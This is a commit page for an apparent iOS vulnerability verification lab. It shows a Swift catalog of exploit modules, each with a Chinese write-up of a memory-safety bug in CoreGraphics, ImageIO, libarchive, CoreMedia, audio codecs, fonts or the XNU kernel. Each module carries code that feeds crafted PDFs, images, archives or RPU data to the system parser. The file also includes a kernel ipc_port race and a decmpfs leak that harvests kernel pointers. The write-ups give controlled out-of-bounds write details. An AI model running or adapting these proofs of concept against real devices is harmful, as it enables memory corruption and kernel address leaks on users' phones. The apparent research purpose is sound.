Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

This commit is contained in:
jbjf6666 committed 2026-10-29 02:11:12 +08:00
commit 1ea76ab005
89 files changed
+16485

No files matched your search

+744
View File
@@ -0,0 +1,744 @@
import Foundation
import UIKit
import ImageIO
enum Catalog {
static let all: [ExploitModule] = coreGraphics + imageIO + imageIO2 + archive + archive2 + coreMedia + crossSandbox + kernel + audio + audio2 + video + fonts + font2 + kext + userspace + tooling + probes
/// Modules that pin a fix Apple shipped in 27.2 (i.e. carry a CVE number). Computed,
/// never hardcoded — the overview subtitle reads it, so it cannot go stale.
static var locatedFixes: Int { all.filter { $0.cve.hasPrefix("CVE-") }.count }
// MARK: - CoreGraphics
static let coreGraphics: [ExploitModule] = [
ExploitModule(
id: "cg.shading",
titleZh: "Type-5 阴影栈溢出(值可控 OOB 写)",
cve: "CVE-2026-112611",
component: "CoreGraphics · _cg_shading_type5_draw",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: "/ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条 72 字节网格记录,颜色区位于记录 +0x20、容量为 nc×8 字节,随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段(即 /Range 维度)为上界,向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca,故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。",
notesZh: "取 R=136、nc=1、/C0=/C1=1.0 时,每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽;循环退出比较读到被覆盖后的计数后继续执行,随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c,其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典,draw 代码两侧字节完全一致,属纯闸门修复。",
run: { ctx in
let pdf = PDFPayload.shading(rangeDim: 136, value: 1.0)
let url = ctx.write("crash_shading_r136.pdf", pdf)
ctx.arm("cg.shading", "render R=136")
let detail = try Runners.renderPDF(pdf)
ctx.disarm("cg.shading", detail)
return ModuleOutcome(headline: tl("渲染存活 — 该构建未受影响"),
detail: detail,
evidence: ["PDF \(pdf.count) B", "R=136 vs nc=1"],
artifacts: [url])
}),
ExploitModule(
id: "cg.shading.sweep",
titleZh: "溢出长度扫描(找吸收阈值)",
cve: "CVE-2026-112611",
component: "CoreGraphics · Type-5 shading",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: "短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256,逐一记录是否仍能完成渲染,从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。",
notesZh: "按升序执行。小 R 先完成,进程在第一个致命 R 处终止,写前日志保留最后一个成功值,因此单次运行即可定位边界。",
run: { ctx in
let ladder = [4, 8, 12, 16, 24, 32, 48, 64, 96, 136, 192, 256]
var survived: [Int] = []
var lines: [String] = []
for r in ladder {
ctx.arm("cg.shading.sweep", "R=\(r)")
let pdf = PDFPayload.shading(rangeDim: r, value: 1.0)
do {
let detail = try Runners.renderPDF(pdf)
survived.append(r)
lines.append(tl("R=") + "\(r)" + tl(" 存活 — ") + "\(detail)")
ctx.disarm("cg.shading.sweep", "R=\(r) survived")
} catch {
lines.append(tl("R=") + "\(r)" + tl(" 被拒绝 — ") + "\(error.localizedDescription)")
ctx.disarm("cg.shading.sweep", "R=\(r) refused")
}
}
return ModuleOutcome(headline: tl("全部 ") + "\(ladder.count)" + tl(" 个长度存活"),
detail: lines.joined(separator: "\n"),
evidence: [tl("存活: ") + "\(survived.map(String.init).joined(separator: ", "))"])
}),
ExploitModule(
id: "cg.cmap",
titleZh: "CMap /UseCMap 递归越界写(负结果探针)",
cve: "CVE-2026-112610",
component: "CoreGraphics · _cmap_convert",
primitive: .oobWrite,
reach: .inProcess,
tier: 3,
summaryZh: "_cmap_convert 在递归时把外层的 codespace 长度(最大 255)传入仅容纳单个结果的输出槽(2 字节 code / 8 字节 len)。27.2 增加 min(L,4) 钳制并重排输出槽布局。",
notesZh: "源分析中,内嵌 CMap 这一载体被三条相互独立的可达性阻断否定。本模块的价值在于将负结果同样留档:若该构建上出现崩溃,说明载体已被重新打通,结论需随之修正。",
run: { ctx in
let pdf = PDFPayload.cmapProbe(codespaceLength: 128)
let url = ctx.write("cmap_probe.pdf", pdf)
ctx.arm("cg.cmap", "render cmap")
let detail = try Runners.renderPDF(pdf)
ctx.disarm("cg.cmap", detail)
return ModuleOutcome(headline: tl("渲染存活(与源分析的负结果一致)"),
detail: detail,
evidence: ["PDF \(pdf.count) B", tl("codespace 长度 128")],
artifacts: [url])
}),
]
// MARK: - ImageIO
static let imageIO: [ExploitModule] = [
ExploitModule(
id: "iio.tiff.planar",
titleZh: "TIFF planar 散写越界",
cve: "CVE-2026-112633 / 112614",
component: "ImageIO · decodeStripPlanar",
primitive: .oobWrite,
reach: .inProcess,
tier: 2,
summaryZh: "当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。27.2 改为 64 位 umull 并比对所需字节数与容量。",
notesZh: "24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。",
run: { ctx in
let tiff = TIFFPayload.planarScatter(width: 64, height: 64, spp: 4)
let url = ctx.write("planar_scatter.tif", tiff)
ctx.arm("iio.tiff.planar", "decode planar")
let r = try Runners.decodeImage(tiff)
ctx.disarm("iio.tiff.planar", "decoded \(r.width)x\(r.height)")
return ModuleOutcome(headline: tl("解码存活 ") + "\(r.width)" + tl("×") + "\(r.height)",
detail: tl("帧数 ") + "\(r.frameCount)" + tl(",已解码 ") + "\(r.decoded)" + tl(",属性 ") + "\(r.properties)",
evidence: ["TIFF \(tiff.count) B", "spp=4 photometric=RGB"],
artifacts: [url])
}),
ExploitModule(
id: "iio.tiff.trunc",
titleZh: "TIFF 截断条带 → 未初始化堆进像素",
cve: "CVE-2026-112632",
component: "ImageIO · decodeStripChunky",
primitive: .infoLeak,
reach: .inProcess,
tier: 2,
summaryZh: "TIFFReadEncodedStrip 的返回值未被检查。读取失败时,未初始化的 malloc 条带缓冲被散写进输出图像,故解码所得像素即为进程堆中的残留内容。",
notesZh: "判别方法:对同一文件连续解码三次并比对输出指纹。若条带区域每次不同,即证明取到的是未初始化堆。27.2 将其零填充并输出 \"strip %d is zero-filled\"。",
run: { ctx in
let tiff = TIFFPayload.truncatedStrip(width: 32, height: 32)
let url = ctx.write("trunc_strip.tif", tiff)
ctx.arm("iio.tiff.trunc", "decode truncated strip")
var digests: [String] = []
for i in 0..<3 {
if let src = CGImageSourceCreateWithData(tiff as CFData, nil),
let img = CGImageSourceCreateImageAtIndex(src, 0, nil),
let data = img.dataProvider?.data as Data? {
var hash: UInt64 = 0xcbf29ce484222325
for b in data.prefix(4096) { hash = (hash ^ UInt64(b)) &* 0x100000001b3 }
digests.append(String(format: "run%d: %016llx (%d B)", i, hash, data.count))
} else {
digests.append(tl("run") + "\(i)" + tl(": 解码失败"))
}
}
ctx.disarm("iio.tiff.trunc", "3 runs")
let unstable = Set(digests.map { $0.split(separator: ": ").last.map(String.init) ?? $0 }).count > 1
return ModuleOutcome(headline: unstable ? tl("输出不稳定 — 未初始化内存迹象") : tl("输出稳定"),
detail: digests.joined(separator: "\n"),
evidence: ["TIFF \(tiff.count) B", tl("3 次解码指纹")],
artifacts: [url])
}),
ExploitModule(
id: "iio.apng.fctl",
titleZh: "APNG fcTL 截断 → 栈上未初始化帧几何",
cve: "CVE-2026-112630",
component: "ImageIO · IIO_Reader_PNG::getImageCount",
primitive: .infoLeak,
reach: .inProcess,
tier: 2,
summaryZh: "在 fcTL 偏移处读取 34 字节,且不检查返回值。当文件在 fcTL 中间被截断时,该 34 字节栈缓冲只有前部被写入,其余部分作为帧宽、高、偏移与延时被解析。",
notesZh: "27.2 改为读 26 字节并检查 cmp x0,#0x1a,报 \"*** truncated 'fcTL' chunk at offset %ld\"。",
run: { ctx in
let png = PNGPayload.apngTruncatedFCTL()
let url = ctx.write("apng_trunc_fctl.png", png)
ctx.arm("iio.apng.fctl", "getImageCount")
let r = try Runners.decodeImage(png)
ctx.disarm("iio.apng.fctl", "count=\(r.frameCount)")
return ModuleOutcome(headline: tl("帧数 ") + "\(r.frameCount)",
detail: tl("解码 ") + "\(r.decoded)" + tl(",尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl("\n属性: ") + "\(r.properties)",
evidence: ["PNG \(png.count) B", tl("fcTL 声明 26B 实到 4B")],
artifacts: [url])
}),
ExploitModule(
id: "iio.jpeg.marker",
titleZh: "JPEG 标记长度越界",
cve: "CVE-2026-112634",
component: "ImageIO · _JPEGFile::processData",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "当标记声明的长度远超实际存在的字节数时,27.0 仅记录一条 \"*** WARNING: check markerLength\" 并继续解析,导致越界读取;27.2 直接中止解析。",
notesZh: "长度 0xFFEE,实际负载 28 字节。",
run: { ctx in
let jpg = JPEGPayload.markerLength(declared: 0xFFEE, actual: 30)
let url = ctx.write("markerlen.jpg", jpg)
ctx.arm("iio.jpeg.marker", "decode")
let r = try Runners.decodeImage(jpg)
ctx.disarm("iio.jpeg.marker", "decoded=\(r.decoded)")
return ModuleOutcome(headline: tl("解析存活(已解码=") + "\(r.decoded)" + tl(")"),
detail: tl("帧数 ") + "\(r.frameCount)" + tl(",属性 ") + "\(r.properties)",
evidence: ["JPEG \(jpg.count) B", tl("声明长度 65518")],
artifacts: [url])
}),
ExploitModule(
id: "iio.jpeg.comment",
titleZh: "EXIF UserComment 短读 → 元数据泄露",
cve: "CVE-2026-112571",
component: "ImageIO · ReadUserComment",
primitive: .infoLeak,
reach: .inProcess,
tier: 2,
summaryZh: "getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读,malloc 缓冲尾部保持未初始化,随后该缓冲作为 UserComment 元数据返回给调用方 —— 构成对进程堆的直接读取。",
notesZh: "count 声明 0x400,值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。",
run: { ctx in
let jpg = JPEGPayload.exifUserComment(count: 0x400, valueOffset: 0x4000)
let url = ctx.write("exif_comment.jpg", jpg)
ctx.arm("iio.jpeg.comment", "read properties")
let r = try Runners.decodeImage(jpg)
ctx.disarm("iio.jpeg.comment", "props read")
return ModuleOutcome(headline: tl("元数据读取完成"),
detail: r.properties.isEmpty ? tl("无可用属性") : r.properties,
evidence: ["JPEG \(jpg.count) B", "UserComment count=1024 offset=16384"],
artifacts: [url])
}),
ExploitModule(
id: "iio.jpeg.gps",
titleZh: "GPS IFD 值偏移越界",
cve: "CVE-2026-112629",
component: "ImageIO · GPSCopy::processData",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时,读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked,违规时抛出 OutOfBounds 异常。",
notesZh: "GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。",
run: { ctx in
let jpg = JPEGPayload.exifGPSOutOfBounds(delta: 0x10000)
let url = ctx.write("exif_gps_oob.jpg", jpg)
ctx.arm("iio.jpeg.gps", "read GPS")
let r = try Runners.decodeImage(jpg)
ctx.disarm("iio.jpeg.gps", "read")
return ModuleOutcome(headline: tl("GPS 读取存活"),
detail: r.properties.isEmpty ? tl("无可用属性") : r.properties,
evidence: ["JPEG \(jpg.count) B", tl("值偏移 +65536")],
artifacts: [url])
}),
ExploitModule(
id: "iio.dds.bc7",
titleZh: "BC7 纹理 mip 截断",
cve: "CVE-2026-112627",
component: "ImageIO · BCReadPlugin::initialize",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码,块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误,并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。",
notesZh: "512×512 BC7 需要 65536 字节,实际只给 64 字节。",
run: { ctx in
let dds = TexturePayload.bc7Short(width: 512, height: 512, dataBytes: 64)
let url = ctx.write("bc7_short.dds", dds)
ctx.arm("iio.dds.bc7", "decode")
let r = try Runners.decodeImage(dds)
ctx.disarm("iio.dds.bc7", "decoded=\(r.decoded)")
return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"),
detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)",
evidence: ["DDS \(dds.count) B", tl("需要 65536 B,实际 64 B")],
artifacts: [url])
}),
ExploitModule(
id: "iio.ktx2",
titleZh: "KTX2 维度/层级尺寸运算",
cve: "CVE-2026-112625",
component: "ImageIO · KTX2ReadPlugin",
primitive: .intOverflow,
reach: .inProcess,
tier: 2,
summaryZh: "KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。",
notesZh: "维度 0xFFFF×0xFFFF,层级索引声明 64 字节。",
run: { ctx in
guard let data = ctx.seed("ktx2_bad_dims.ktx2") else {
throw LabError(message: tl("种子缺失 ktx2_bad_dims.ktx2"))
}
let url = ctx.write("ktx2_bad_dims.ktx2", data)
ctx.arm("iio.ktx2", "decode")
let r = try Runners.decodeImage(data)
ctx.disarm("iio.ktx2", "decoded=\(r.decoded)")
return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"),
detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)",
evidence: ["KTX2 \(data.count) B"],
artifacts: [url])
}),
]
// MARK: - libarchive
static let archive: [ExploitModule] = [
ExploitModule(
id: "arc.iso",
titleZh: "ISO9660 Joliet 路径名堆溢出",
cve: "CVE-2026-112522",
component: "libarchive · build_pathname_utf16be",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: "build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。",
notesZh: "目录链长度 4×206 + 192 + 4×2 = 1024,与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现,硬件断点命中于 \"Pathname is too long\" 之前的写指令。",
run: { ctx in
guard let iso = ctx.seed("joliet_path_oob.iso") else {
throw LabError(message: tl("种子缺失 joliet_path_oob.iso"))
}
let url = ctx.write("joliet_path_oob.iso", iso)
ctx.arm("arc.iso", "iterate headers")
let (entries, status) = try Runners.Archive.list(iso)
ctx.disarm("arc.iso", "entries=\(entries.count)")
return ModuleOutcome(headline: tl("遍历完成,") + "\(entries.count)" + tl(" 条目"),
detail: entries.joined(separator: "\n") + tl("\n状态: ") + "\(status)",
evidence: ["ISO \(iso.count) B", tl("累计路径 1024 B")],
artifacts: [url])
}),
ExploitModule(
id: "arc.iso.stress",
titleZh: "Joliet 路径长度循环",
cve: "CVE-2026-112522",
component: "libarchive · build_pathname_utf16be",
primitive: .oobWrite,
reach: .inProcess,
tier: 1,
summaryZh: "对同一 ISO 反复遍历,使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收,重复执行才可能将损坏推移到可见位置。",
notesZh: "32 轮,每轮新建 archive 句柄。",
run: { ctx in
guard let iso = ctx.seed("joliet_path_oob.iso") else {
throw LabError(message: tl("种子缺失"))
}
ctx.arm("arc.iso.stress", "32 rounds")
var lines: [String] = []
for i in 0..<32 {
do {
let (entries, status) = try Runners.Archive.list(iso)
lines.append(tl("round ") + "\(i)" + tl(": ") + "\(entries.count)" + tl(" 条目 / ") + "\(status)")
} catch {
lines.append("round \(i): \(error.localizedDescription)")
}
}
ctx.disarm("arc.iso.stress", "32 rounds done")
return ModuleOutcome(headline: tl("32 轮完成,进程存活"),
detail: lines.suffix(10).joined(separator: "\n"),
evidence: [tl("重复越界写 32 次")])
}),
]
// MARK: - CoreMedia
static let coreMedia: [ExploitModule] = [
ExploitModule(
id: "cm.rpu",
titleZh: "Dolby Vision RPU 扩展元数据块数组越界",
cve: "CVE-2026-112688",
component: "CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks",
primitive: .oobWrite,
reach: .systemProcess,
tier: 2,
summaryZh: "三个固定容量数组(A: 4×28 B,B: 8×14 B,C: 5×36 B)在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增,写入仍以未检查的计数为索引执行。数组 A 的越界写会越过 0x73b4 字节结构体末端,落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。",
notesZh: "该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查(magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过),故此处采用参数化语法探针,以解析器自身返回的错误作为进度回执。",
run: { ctx in
let payload = RPUPayload.probe(blockID: 1, blockCount: 6)
let url = ctx.write("rpu_probe_1x6.bin", payload)
var version: UInt32 = 0
var level: UInt32 = 0
ctx.arm("cm.rpu", "parse rpu")
let rc = try Runners.rpuParse(payload, version: &version, level: &level)
ctx.disarm("cm.rpu", "rc=\(rc)")
return ModuleOutcome(headline: tl("解析返回 ") + "\(rc)",
detail: tl("OSStatus=") + "\(rc)" + tl(" dmVersion=") + "\(version)" + tl(" dmLevel=") + "\(level)" + tl("\n负载 ") + "\(payload.count)" + tl(" B,block-id 1 × 6(容量 4)"),
evidence: ["RPU \(payload.count) B"],
artifacts: [url])
}),
ExploitModule(
id: "cm.rpu.sweep",
titleZh: "RPU 块数与块类型扫描",
cve: "CVE-2026-112688",
component: "CoreMedia · DOVI RPU",
primitive: .oobWrite,
reach: .systemProcess,
tier: 2,
summaryZh: "依次用 block-id 1/2/6 分别打三个数组(容量 4/8/5),每种块类型从刚好越界一个到越界八个,记录解析器在哪个点开始拒绝或崩溃。",
notesZh: "数组 A 是唯一逃出结构体、进入保存寄存器的那一个;B 和 C 是结构体内跨字段污染。",
run: { ctx in
var lines: [String] = []
let plans: [(UInt32, [Int])] = [(1, [5, 6, 8]), (2, [9, 12, 16]), (6, [6, 8, 10])]
ctx.arm("cm.rpu.sweep", "sweep")
for (blockID, counts) in plans {
for c in counts {
let payload = RPUPayload.probe(blockID: blockID, blockCount: c)
var v: UInt32 = 0
var l: UInt32 = 0
do {
let rc = try Runners.rpuParse(payload, version: &v, level: &l)
lines.append("id=\(blockID) n=\(c) → rc=\(rc) v=\(v) l=\(l)")
} catch {
lines.append("id=\(blockID) n=\(c) → \(error.localizedDescription)")
}
}
}
ctx.disarm("cm.rpu.sweep", "done")
return ModuleOutcome(headline: tl("扫描完成"), detail: lines.joined(separator: "\n"))
}),
]
// MARK: - Kernel
static let kernel: [ExploitModule] = [
ExploitModule(
id: "kern.ipc",
titleZh: "ipc_port 请求表索引竞态",
cve: "CVE-2026-112507 / 112476",
component: tl("XNU · ipc_port.c 请求表消费方"),
primitive: .uaf,
reach: .kernel,
tier: 2,
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。",
run: { ctx in
let baseline = KernelIPC.baseline()
ctx.arm("kern.ipc", "race 6s")
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
ctx.disarm("kern.ipc", "ops=\(stats.operations)")
var lines = [stats.summary, ""]
lines.append(tl("— 基线 —"))
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
lines.append("\(k): \(v)")
}
if stats.notificationsRefused > 0 {
lines.append("")
lines.append(tl("— 平台限制 —"))
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。"))
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。"))
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,"))
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
}
let headline: String
if stats.notificationsRefused > 0 {
headline = tl("分配/拆除路径可用,通知武装被平台拒绝")
} else if !stats.kernelErrors.isEmpty {
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
} else {
headline = tl("竞态完成 ") + "\(stats.operations)" + tl(" 次操作,无异常返回")
}
return ModuleOutcome(headline: headline,
detail: lines.joined(separator: "\n"),
evidence: baseline.map { "\($0.key): \($0.value)" })
}),
ExploitModule(
id: "kern.decmpfs",
titleZh: "decmpfs 分块解压欠产出 → 内核堆泄露",
cve: "CVE-2026-113910",
component: "XNU · AppleFSCompressionTypeZlib",
primitive: .infoLeak,
reach: .kernel,
tier: 2,
summaryZh: "分块 zlib 解压的实际产出少于预期时,27.0 不比对 produced 与 expected,内核页缓冲的尾部因此保持未写状态;read() 随后将整个缓冲交回应用,使应用取得陈旧的堆内容。27.2 补入该比对。",
notesZh: "这是整套原语中少数完全不需要 entitlement 的内核路径:应用在自身容器内写入一个带 com.apple.decmpfs 扩展属性的文件,读回的内容即内核解压的产物。以 8 字节窗口扫描,凡落在内核地址空间范围(≥ 0xFFFFFFE000000000)的值即为候选指针。",
run: { ctx in
let url = ctx.workdir.appendingPathComponent("decmpfs_probe.bin")
ctx.arm("kern.decmpfs", "roundtrip")
var lines: [String] = []
var totalHits = 0
for (chunks, produce) in [(4, 65536), (4, 4096), (8, 1024), (2, 1)] {
let r = Runners.decmpfsProbe(at: url,
uncompressed: chunks * 65536,
chunks: chunks,
producePerChunk: produce)
totalHits += r.kernelPointerHits
lines.append("chunks=\(chunks) produce=\(produce): xattr=\(r.wroteXattr) read=\(r.readBack)B hits=\(r.kernelPointerHits) — \(r.note)")
if !r.samples.isEmpty {
lines.append(tl(" 候选: ") + r.samples.joined(separator: ", "))
}
}
ctx.disarm("kern.decmpfs", "hits=\(totalHits)")
return ModuleOutcome(headline: totalHits > 0 ? tl("发现 ") + "\(totalHits)" + tl(" 个内核指针候选") : tl("未发现内核指针"),
detail: lines.joined(separator: "\n"),
artifacts: [url])
}),
ExploitModule(
id: "kern.baseline",
titleZh: "Mach 命名空间基线",
cve: "—",
component: "XNU · mach_port",
primitive: .probe,
reach: .kernel,
tier: 3,
summaryZh: "读取 bootstrap 端口与自身端口命名空间,确认竞态前的起点:能不能列出端口、能拿到多少个名字。",
notesZh: "任何一次竞态结果都要和这个基线一起看。",
run: { ctx in
ctx.arm("kern.baseline", "collect")
let base = KernelIPC.baseline()
ctx.disarm("kern.baseline", "collected")
return ModuleOutcome(headline: tl("基线已采集"),
detail: base.map { "\($0.key) = \($0.value)" }.sorted().joined(separator: "\n"))
}),
]
// MARK: - Audio
static let audio: [ExploitModule] = [
ExploitModule(
id: "aud.lc3",
titleZh: "LC3 解码器输入缓冲溢出",
cve: "CVE-2026-112638",
component: "AudioCodecs · ACLC3Decoder::AppendInputData",
primitive: .oobWrite,
reach: .entitlementGated,
tier: 2,
summaryZh: "memcpy 仅以 mDataByteSize 作为长度,完全不参考输入 vector 的 (begin, end) 容量。27.2 增加 capacity < size 时的拒绝分支。LC3 是蓝牙 LE Audio 的编解码器,其实例化受 com.apple.coreaudio.allow-lc3-codec 授权约束,故崩溃发生在系统音频进程内 —— 与公告所称「系统终止」一致。",
notesZh: "这个模块先检查进程是否持有该 entitlement,再尝试构造 LC3 AudioConverter 看内核/框架在哪一层拒绝。无授权时它一定失败,但失败点本身就是有用信息。",
run: { ctx in
ctx.arm("aud.lc3", "probe")
var lines: [String] = []
let ents = Entitlements.dump()
let lc3 = ents["com.apple.coreaudio.allow-lc3-codec"]
lines.append("com.apple.coreaudio.allow-lc3-codec = \(lc3.map { "\($0)" } ?? tl("缺失"))")
lines.append(Runners.audioConverter(format: 0x6C633320, sampleRate: 48000, channels: 1))
lines.append(Runners.audioConverter(format: 0x6C633320, sampleRate: 16000, channels: 2))
ctx.disarm("aud.lc3", "probe complete")
return ModuleOutcome(headline: lc3 == nil ? tl("无授权 — 只能走无线链路") : tl("持有授权"),
detail: lines.joined(separator: "\n"))
}),
ExploitModule(
id: "aud.hoa",
titleZh: "HOA 空间音频系数越界读",
cve: "CVE-2026-112546",
component: "AudioCodecs · APACHOADecoder::Initialize",
primitive: .oobRead,
reach: .systemProcess,
tier: 2,
summaryZh: "mNumHOAcoeffs 由文件内的 hoa::CodecConfig 反序列化取得。既有检查仅拦下大于 122 的值,而 37 至 121 之间的取值会索引一个长度为 37 的数组。27.2 将比较阈值改为 0x25。",
notesZh: "系数上限来自 kMaxNumSCs_DynSelSCs4EachSB。这条要真正打进去需要 MPEG-H / 沉浸式音频文件,应用侧只能探到解码器是否可达。",
run: { ctx in
ctx.arm("aud.hoa", "probe")
var lines: [String] = []
let libs = ["/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox",
"/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore",
"/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs"]
for lib in libs {
guard let h = dlopen(lib, RTLD_NOW) else {
lines.append("✗ \(lib)")
continue
}
var found: [String] = []
for sym in ["HOASpatialDecoder", "APACHOADecoder", "UniDrcSelection", "mpddrc"] {
if dlsym(h, sym) != nil { found.append(sym) }
}
lines.append(tl("✓ ") + "\(lib)" + tl(" 命中: ") + "\(found.isEmpty ? tl("无") : found.joined(separator: ", "))")
}
lines.append(Runners.audioConverter(format: 0x6D686D31, sampleRate: 48000, channels: 4))
ctx.disarm("aud.hoa", "probe complete")
return ModuleOutcome(headline: tl("解码器可达性探测完成"),
detail: lines.joined(separator: "\n"))
}),
ExploitModule(
id: "aud.haptic",
titleZh: "AVHaptic 自定义音频事件格式校验",
cve: "CVE-2026-113907",
component: "AudioToolbox · AVHapticServerInstance",
primitive: .oobWrite,
reach: .systemProcess,
tier: 2,
summaryZh: "createCustomAudioEvent 在 27.0 既不校验 ASBD 的合法性,也不比对 frames×bytesPerFrame 与实际波形字节数。27.2 同时补入这两项校验。该接口的 XPC 服务端位于 CoreHaptics 的服务器进程内。",
notesZh: "通过 CHHapticEngine 的 audioCustom 事件驱动,是最接近服务端入参的一条公开路径。",
run: { ctx in
ctx.arm("aud.haptic", "register + play")
let report = Runners.hapticCustomAudio(frameCount: 4096, declaredBytes: 4)
ctx.disarm("aud.haptic", "played")
return ModuleOutcome(headline: tl("触觉事件已尝试"), detail: report)
}),
]
// MARK: - Fonts / ModelIO
static let fonts: [ExploitModule] = [
ExploitModule(
id: "font.cff",
titleZh: "CFF Type2 charstring 操作数栈溢出",
cve: "CVE-2026-112683",
component: tl("FontParser · charstring 解释器"),
primitive: .oobWrite,
reach: .inProcess,
tier: 2,
summaryZh: "Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,并将扫描暂存区的 32 位乘法改为 64 位,同时修正了符号扩展指针。",
notesZh: "这个种子是一个裸 CFF:单个 charstring 连推 300 个操作数再 endchar。绘制字形才会真正执行解释器。",
run: { ctx in
guard let cff = ctx.seed("stack_bomb.cff") else {
throw LabError(message: tl("种子缺失 stack_bomb.cff"))
}
let url = ctx.write("stack_bomb.cff", cff)
ctx.arm("font.cff", "load + draw")
do {
let detail = try Runners.loadFont(cff)
ctx.disarm("font.cff", detail)
return ModuleOutcome(headline: tl("字体已加载并绘制"), detail: detail,
evidence: ["CFF \(cff.count) B", tl("charstring 推 300 个操作数")],
artifacts: [url])
} catch {
// A refusal is the informative result here: it tells you which stage
// rejected the font, which is exactly what the A/B compares.
let message = (error as? LocalizedError)?.errorDescription ?? error.localizedDescription
ctx.disarm("font.cff", "rejected: \(message)")
return ModuleOutcome(
headline: tl("字体在解析阶段被拒绝"),
detail: "\(message)" + tl("\n\n种子 ") + "\(cff.count)" + tl(" B,单个 charstring 连续推入 300 个操作数后 endchar。\n") +
tl("27.0 期望:push 路径无计数检查,操作数栈越界。\n") +
tl("27.2 期望:Push/Pop 两道栈保护在解释前拒绝该字体。\n") +
tl("被拒绝本身即说明校验发生在解释器之前 —— 这是该构建上有效的观测。"),
evidence: ["CFF \(cff.count) B", tl("操作数 300 > 栈容量 48")],
artifacts: [url])
}
}),
ExploitModule(
id: "mdl.usda",
titleZh: "USDA 声明嵌套深度",
cve: "CVE-2026-112485",
component: "Model I/O · libusd_ms",
primitive: .oobRead,
reach: .inProcess,
tier: 2,
summaryZh: "Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32:经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile 尺寸检查。ModelIO.dylib 自身不含任何修复。",
notesZh: "2000 层嵌套的 def Xform。27.2 会在嵌套上限处拒绝,27.0 递归下去。",
run: { ctx in
